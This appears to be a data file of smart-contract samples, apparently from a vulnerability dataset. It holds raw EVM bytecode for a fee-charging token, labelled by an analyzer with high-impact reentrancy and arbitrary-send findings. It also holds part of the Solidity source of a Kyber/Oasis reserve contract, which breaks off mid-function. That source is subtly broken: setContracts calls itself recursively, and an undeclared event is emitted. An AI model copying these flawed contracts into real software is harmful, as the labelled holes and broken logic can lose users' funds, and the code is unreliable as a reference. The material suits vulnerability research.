ffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061285a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061285a565b6040518363ffffffff1660e01b8152600401610e1f929190612cfa565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061285a565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612d4c565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a06565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612d23565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd91906129b4565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612eaa565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612e6a565b60405180910390fd5b6111d860646111ca83683635c9adc5dea00000611ff390919063ffffffff16565b61206e90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161120f9190612f4a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f0a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612e2a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612f4a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612eea565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612dea565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612eca565b60405180910390fd5b6007600a819055506003600b819055506115af610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161d57506115ed610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a6957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116c65750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116cf57600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561177a5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117d05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117e85750601160179054906101000a900460ff165b15611898576012548111156117fc57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061184757600080fd5b601e426118549190613080565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119435750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156119995750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119af576007600a819055506007600b819055505b60006119ba30610783565b9050601160159054906101000a900460ff16158015611a275750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a3f5750601160169054906101000a900460ff165b15611a6757611a4d81611cf9565b60004790506000811115611a6557611a6447611b90565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b105750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b1a57600090505b611b26848484846120b8565b50505050565b6000838311158290611b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6b9190612dc8565b60405180910390fd5b5060008385611b839190613161565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611be060028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c0b573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5c60028461206e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600854821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612e0a565b60405180910390fd5b6000611cdc6120e5565b9050611cf1818461206e90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d57577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611d855781602001602082028036833780820191505090505b5090503081600081518110611dc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6557600080fd5b505afa158015611e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e9d919061285a565b81600181518110611ed7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f3e30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fa2959493929190612f65565b600060405180830381600087803b158015611fbc57600080fd5b505af1158015611fd0573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b6000808314156120065760009050612068565b600082846120149190613107565b905082848261202391906130d6565b14612063576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205a90612e8a565b60405180910390fd5b809150505b92915050565b60006120b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612110565b905092915050565b806120c6576120c5612173565b5b6120d18484846121b6565b806120df576120de612381565b5b50505050565b60008060006120f2612395565b91509150612109818361206e90919063ffffffff16565b9250505090565b60008083118290612157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214e9190612dc8565b60405180910390fd5b506000838561216691906130d6565b9050809150509392505050565b6000600a5414801561218757506000600b54145b15612191576121b4565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121c8876123f7565b95509550955095509550955061222686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122bb85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061230781612507565b61231184836125c4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161236e9190612f4a565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea0000090506123cb683635c9adc5dea0000060085461206e90919063ffffffff16565b8210156123ea57600854683635c9adc5dea000009350935050506123f3565b81819350935050505b9091565b60008060008060008060008060006124148a600a54600b546125fe565b92509250925060006124246120e5565b905060008060006124378e878787612694565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124a183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b2c565b905092915050565b60008082846124b89190613080565b9050838110156124fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124f490612e4a565b60405180910390fd5b8091505092915050565b60006125116120e5565b905060006125288284611ff390919063ffffffff16565b905061257c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124a990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125d98260085461245f90919063ffffffff16565b6008819055506125f4816009546124a990919063ffffffff16565b6009819055505050565b60008060008061262a606461261c888a611ff390919063ffffffff16565b61206e90919063ffffffff16565b905060006126546064612646888b611ff390919063ffffffff16565b61206e90919063ffffffff16565b9050600061267d8261266f858c61245f90919063ffffffff16565b61245f90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126ad8589611ff390919063ffffffff16565b905060006126c48689611ff390919063ffffffff16565b905060006126db8789611ff390919063ffffffff16565b90506000612704826126f6858761245f90919063ffffffff16565b61245f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273061272b84612fff565b612fda565b9050808382526020820190508285602086028201111561274f57600080fd5b60005b8581101561277f57816127658882612789565b845260208401935060208301925050600181019050612752565b5050509392505050565b60008135905061279881613614565b92915050565b6000815190506127ad81613614565b92915050565b600082601f8301126127c457600080fd5b81356127d484826020860161271d565b91505092915050565b6000813590506127ec8161362b565b92915050565b6000815190506128018161362b565b92915050565b60008135905061281681613642565b92915050565b60008151905061282b81613642565b92915050565b60006020828403121561284357600080fd5b600061285184828501612789565b91505092915050565b60006020828403121561286c57600080fd5b600061287a8482850161279e565b91505092915050565b6000806040838503121561289657600080fd5b60006128a485828601612789565b92505060206128b585828601612789565b9150509250929050565b6000806000606084860312156128d457600080fd5b60006128e286828701612789565b93505060206128f386828701612789565b925050604061290486828701612807565b9150509250925092565b6000806040838503121561292157600080fd5b600061292f85828601612789565b925050602061294085828601612807565b9150509250929050565b60006020828403121561295c57600080fd5b600082013567ffffffffffffffff81111561297657600080fd5b612982848285016127b3565b91505092915050565b60006020828403121561299d57600080fd5b60006129ab848285016127dd565b91505092915050565b6000602082840312156129c657600080fd5b60006129d4848285016127f2565b91505092915050565b6000602082840312156129ef57600080fd5b60006129fd84828501612807565b91505092915050565b600080600060608486031215612a1b57600080fd5b6000612a298682870161281c565b9350506020612a3a8682870161281c565b9250506040612a4b8682870161281c565b9150509250925092565b6000612a618383612a6d565b60208301905092915050565b612a7681613195565b82525050565b612a8581613195565b82525050565b6000612a968261303b565b612aa0818561305e565b9350612aab8361302b565b8060005b83811015612adc578151612ac38882612a55565b9750612ace83613051565b925050600181019050612aaf565b5085935050505092915050565b612af2816131a7565b82525050565b612b01816131ea565b82525050565b6000612b1282613046565b612b1c818561306f565b9350612b2c8185602086016131fc565b612b3581613336565b840191505092915050565b6000612b4d60238361306f565b9150612b5882613347565b604082019050919050565b6000612b70602a8361306f565b9150612b7b82613396565b604082019050919050565b6000612b9360228361306f565b9150612b9e826133e5565b604082019050919050565b6000612bb6601b8361306f565b9150612bc182613434565b602082019050919050565b6000612bd9601d8361306f565b9150612be48261345d565b602082019050919050565b6000612bfc60218361306f565b9150612c0782613486565b604082019050919050565b6000612c1f60208361306f565b9150612c2a826134d5565b602082019050919050565b6000612c4260298361306f565b9150612c4d826134fe565b604082019050919050565b6000612c6560258361306f565b9150612c708261354d565b604082019050919050565b6000612c8860248361306f565b9150612c938261359c565b604082019050919050565b6000612cab60178361306f565b9150612cb6826135eb565b602082019050919050565b612cca816131d3565b82525050565b612cd9816131dd565b82525050565b6000602082019050612cf46000830184612a7c565b92915050565b6000604082019050612d0f6000830185612a7c565b612d1c6020830184612a7c565b9392505050565b6000604082019050612d386000830185612a7c565b612d456020830184612cc1565b9392505050565b600060c082019050612d616000830189612a7c565b612d6e6020830188612cc1565b612d7b6040830187612af8565b612d886060830186612af8565b612d956080830185612a7c565b612da260a0830184612cc1565b979650505050505050565b6000602082019050612dc26000830184612ae9565b92915050565b60006020820190508181036000830152612de28184612b07565b905092915050565b60006020820190508181036000830152612e0381612b40565b9050919050565b60006020820190508181036000830152612e2381612b63565b9050919050565b60006020820190508181036000830152612e4381612b86565b9050919050565b60006020820190508181036000830152612e6381612ba9565b9050919050565b60006020820190508181036000830152612e8381612bcc565b9050919050565b60006020820190508181036000830152612ea381612bef565b9050919050565b60006020820190508181036000830152612ec381612c12565b9050919050565b60006020820190508181036000830152612ee381612c35565b9050919050565b60006020820190508181036000830152612f0381612c58565b9050919050565b60006020820190508181036000830152612f2381612c7b565b9050919050565b60006020820190508181036000830152612f4381612c9e565b9050919050565b6000602082019050612f5f6000830184612cc1565b92915050565b600060a082019050612f7a6000830188612cc1565b612f876020830187612af8565b8181036040830152612f998186612a8b565b9050612fa86060830185612a7c565b612fb56080830184612cc1565b9695505050505050565b6000602082019050612fd46000830184612cd0565b92915050565b6000612fe4612ff5565b9050612ff0828261322f565b919050565b6000604051905090565b600067ffffffffffffffff82111561301a57613019613307565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061308b826131d3565b9150613096836131d3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130cb576130ca6132a9565b5b828201905092915050565b60006130e1826131d3565b91506130ec836131d3565b9250826130fc576130fb6132d8565b5b828204905092915050565b6000613112826131d3565b915061311d836131d3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613156576131556132a9565b5b828202905092915050565b600061316c826131d3565b9150613177836131d3565b92508282101561318a576131896132a9565b5b828203905092915050565b60006131a0826131b3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006131f5826131d3565b9050919050565b60005b8381101561321a5780820151818401526020810190506131ff565b83811115613229576000848401525b50505050565b61323882613336565b810181811067ffffffffffffffff8211171561325757613256613307565b5b80604052505050565b600061326b826131d3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561329e5761329d6132a9565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61361d81613195565b811461362857600080fd5b50565b613634816131a7565b811461363f57600080fd5b50565b61364b816131d3565b811461365657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220093b0277ef1af8fe8d71d94282cc554eddbace0dcd15c0cfa2ae0d45a28f796764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,124 |
0x82AEb9298f3563446aa4B21fa1907D0873Ae93AD | pragma solidity 0.4.18;
// File: contracts/ERC20Interface.sol
// https://github.com/ethereum/EIPs/issues/20
interface ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
function decimals() public view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
// File: contracts/KyberReserveInterface.sol
/// @title Kyber Reserve contract
interface KyberReserveInterface {
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool);
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint);
}
// File: contracts/Utils.sol
/// @title Kyber constants contract
contract Utils {
ERC20 constant internal ETH_TOKEN_ADDRESS = ERC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per ETH
uint constant internal MAX_DECIMALS = 18;
uint constant internal ETH_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(ERC20 token) internal {
if (token == ETH_TOKEN_ADDRESS) decimals[token] = ETH_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(ERC20 token) internal view returns(uint) {
if (token == ETH_TOKEN_ADDRESS) return ETH_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
// File: contracts/PermissionGroups.sol
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
function PermissionGroups() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[]) {
return operatorsGroup;
}
function getAlerters () external view returns(address[]) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
TransferAdminPending(newAdmin);
AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
OperatorAdded(operator, false);
break;
}
}
}
}
// File: contracts/Withdrawable.sol
/**
* @title Contracts that should be able to recover tokens or ethers
* @author Ilan Doron
* @dev This allows to recover any tokens or Ethers received in a contract.
* This will prevent any accidental loss of tokens.
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(ERC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all ERC20 compatible tokens
* @param token ERC20 The address of the token contract
*/
function withdrawToken(ERC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
event EtherWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Ethers
*/
function withdrawEther(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
}
// File: contracts/KyberOasisReserve.sol
contract OtcInterface {
function getBuyAmount(address, address, uint) public constant returns (uint);
}
contract OasisDirectInterface {
function sellAllAmountPayEth(OtcInterface, ERC20, ERC20, uint)public payable returns (uint);
function sellAllAmountBuyEth(OtcInterface, ERC20, uint, ERC20, uint) public returns (uint);
}
contract KyberOasisReserve is KyberReserveInterface, Withdrawable, Utils {
address public kyberNetwork;
OasisDirectInterface public oasisDirect;
OtcInterface public otc;
ERC20 public wethToken;
ERC20 public tradeToken;
bool public tradeEnabled;
function KyberOasisReserve(
address _kyberNetwork,
OasisDirectInterface _oasisDirect,
OtcInterface _otc,
ERC20 _wethToken,
ERC20 _tradeToken,
address _admin
) public {
require(_admin != address(0));
require(_oasisDirect != address(0));
require(_kyberNetwork != address(0));
require(_otc != address(0));
require(_wethToken != address(0));
require(_tradeToken != address(0));
kyberNetwork = _kyberNetwork;
oasisDirect = _oasisDirect;
otc = _otc;
wethToken = _wethToken;
tradeToken = _tradeToken;
admin = _admin;
tradeEnabled = true;
}
function() public payable {
DepositToken(ETH_TOKEN_ADDRESS, msg.value);
}
event TradeExecute(
address indexed origin,
address src,
uint srcAmount,
address destToken,
uint destAmount,
address destAddress
);
function trade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
public
payable
returns(bool)
{
require(tradeEnabled);
require(msg.sender == kyberNetwork);
require(doTrade(srcToken, srcAmount, destToken, destAddress, conversionRate, validate));
return true;
}
event TradeEnabled(bool enable);
function enableTrade() public onlyAdmin returns(bool) {
tradeEnabled = true;
TradeEnabled(true);
return true;
}
function disableTrade() public onlyAlerter returns(bool) {
tradeEnabled = false;
TradeEnabled(false);
return true;
}
event SetContractAddresses(
address kyberNetwork,
OasisDirectInterface oasisDirect,
OtcInterface otc,
ERC20 wethToken,
ERC20 tradeToken
);
function setContracts(
address _kyberNetwork,
OasisDirectInterface _oasisDirect,
OtcInterface _otc,
ERC20 _wethToken,
ERC20 _tradeToken
)
public
onlyAdmin
{
require(_kyberNetwork != address(0));
require(_oasisDirect != address(0));
require(_otc != address(0));
require(_wethToken != address(0));
require(_tradeToken != address(0));
kyberNetwork = _kyberNetwork;
oasisDirect = _oasisDirect;
otc = _otc;
wethToken = _wethToken;
tradeToken = _tradeToken;
setContracts(kyberNetwork, oasisDirect, otc, wethToken, tradeToken);
}
function getDestQty(ERC20 src, ERC20 dest, uint srcQty, uint rate) public view returns(uint) {
uint dstDecimals = getDecimals(dest);
uint srcDecimals = getDecimals(src);
return calcDstQty(srcQty, srcDecimals, dstDecimals, rate);
}
function getConversionRate(ERC20 src, ERC20 dest, uint srcQty, uint blockNumber) public view returns(uint) {
uint rate;
uint destQty;
ERC20 wrappedSrc;
ERC20 wrappedDest;
blockNumber;
if (!tradeEnabled) return 0;
if ((tradeToken != src) && (tradeToken != dest)) return 0;
if (src == ETH_TOKEN_ADDRESS) {
wrappedSrc = wethToken;
wrappedDest = dest;
}
else if (dest == ETH_TOKEN_ADDRESS) {
wrappedSrc = src;
wrappedDest = wethToken;
}
else {
return 0;
}
destQty = otc.getBuyAmount(wrappedDest, wrappedSrc, srcQty);
rate = destQty * PRECISION / srcQty;
return rate;
}
function doTrade(
ERC20 srcToken,
uint srcAmount,
ERC20 destToken,
address destAddress,
uint conversionRate,
bool validate
)
internal
returns(bool)
{
uint actualDestAmount;
require((ETH_TOKEN_ADDRESS == srcToken) || (ETH_TOKEN_ADDRESS == destToken));
require((tradeToken == srcToken) || (tradeToken == destToken));
// can skip validation if done at kyber network level
if (validate) {
require(conversionRate > 0);
if (srcToken == ETH_TOKEN_ADDRESS)
require(msg.value == srcAmount);
else
require(msg.value == 0);
}
uint destAmount = getDestQty(srcToken, destToken, srcAmount, conversionRate);
// sanity check
require(destAmount > 0);
if (srcToken == ETH_TOKEN_ADDRESS) {
actualDestAmount = oasisDirect.sellAllAmountPayEth.value(msg.value)(otc, wethToken, destToken, destAmount);
